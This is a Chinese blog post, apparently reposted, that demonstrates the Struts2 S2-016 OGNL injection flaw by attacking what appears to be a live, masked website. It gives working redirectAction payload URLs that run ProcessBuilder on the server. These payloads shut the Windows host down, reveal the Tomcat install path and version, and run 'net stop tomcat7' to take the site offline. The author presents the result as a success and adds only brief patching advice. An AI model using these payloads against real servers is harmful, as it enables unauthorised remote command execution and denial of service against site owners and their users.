struts2漏洞攻擊一例


怎樣利用Struts2的漏洞(2.0.0<=version<=2.3.15)搞垮一個基於Struts2寫的網站?

Struts是java web frameworks里面的鼻祖了,現在大量的web apps里面,從政府網站到金融系統,都有她的影子(大量的系統都是采用一種被用爛了的SSH(Struts+Spring+Hibernate)組合來做的)。甚至阿里/淘寶也有一些系統使用了Struts(阿里其實有更好更安全的webx框架的)。

最近被熱議的一個高危安全漏洞:http://struts.apache.org/release/2.3.x/docs/s2-016.html,導致了黑產界的暗流涌動,掀起繼CSDN被“脫褲”以來的又一波“脫褲”熱潮。雖然我沒怎么使用過struts(只用過struts1.1,那已經是7年以前的陳年舊事了),也忍不住關注了一下這個漏洞。這個漏洞的根源在於ognl,讓注入遠程惡意代碼有隙可乘。 那些還在用Struts2的java程序員們,趕緊補漏洞去吧,安全第一。

下面用一個簡單的惡意攻擊例子來說明一下這個漏洞的高危性:
1. 選Victim。怎么知道它是用struts做的呢?通常是500錯誤告訴我們的,一般隨便去下載一個不存在的文件,那些粗制濫造的網站就報500了,錯誤信息棧暴露了它的OS信息(它會直接告訴我們D:/.../xxx.pdf不存在,那就肯定是Windows了),還有Apache的版本、Tomcat的版本,從錯誤信息還可以看出它使用的是SSH... ( 做web apps的同學們,一定要自己定制500頁面啊,否則一不小心就暴露了。。。
2. 開始第一波攻擊:
   http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'shutdown','-s','-t','2'})).start()}
   它返回的是http://www.**.com/struts2-showcase/employee/java.lang.ProcessImpl@e18f46.action, 說明這個process成功啟動了,2秒之后它的服務器就會被關掉。
   再去用Chrome訪問http://www.**.com/,Chrome告訴我的是Oops! Google Chrome could not connect to www.**.com,證明服務器確實被我關掉了?
   不要高興得太早,過了一兩分鍾發現它又回來了 -- 莫非它的服務器會自動重啟的?
3. 開始第二波攻擊:  
   既然關你服務器沒用,那我直接干掉你的貓(管它貓有沒有9條命)
   猜想它tomcat是配了windows服務的,如果真是這樣,只要net stop xx就可以殺掉這只貓。那么這個xx是什么呢?這就需要知道tomcat的版本了。
   那么怎么知道tomcat的版本呢?我們可以一個一個去猜,到目前為止,tomcat最高版本也就7嘛,這個好猜。
   不想猜的話,那就讓它自己來告訴我們:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.io.File('.')).getAbsolutePath().replaceAll(':','')}
   它返回的是 http://www.**.com/struts2-showcase/employee/D/program%20files/apache-tomcat-7.0.29/bin/..action
   說明這只貓在D:/program files/apache-tomcat-7.0.29/這里,版本是7.0.29,那么對應的服務名就應該是tomcat7了。
   出絕招:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'net','stop','tomcat7'})).start()}
4. 這次這只貓真的死翹翹了,www.**.com再也打不開了。收工。

注意!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。



 
粤ICP备14056181号  © 2014-2021 ITdaan.com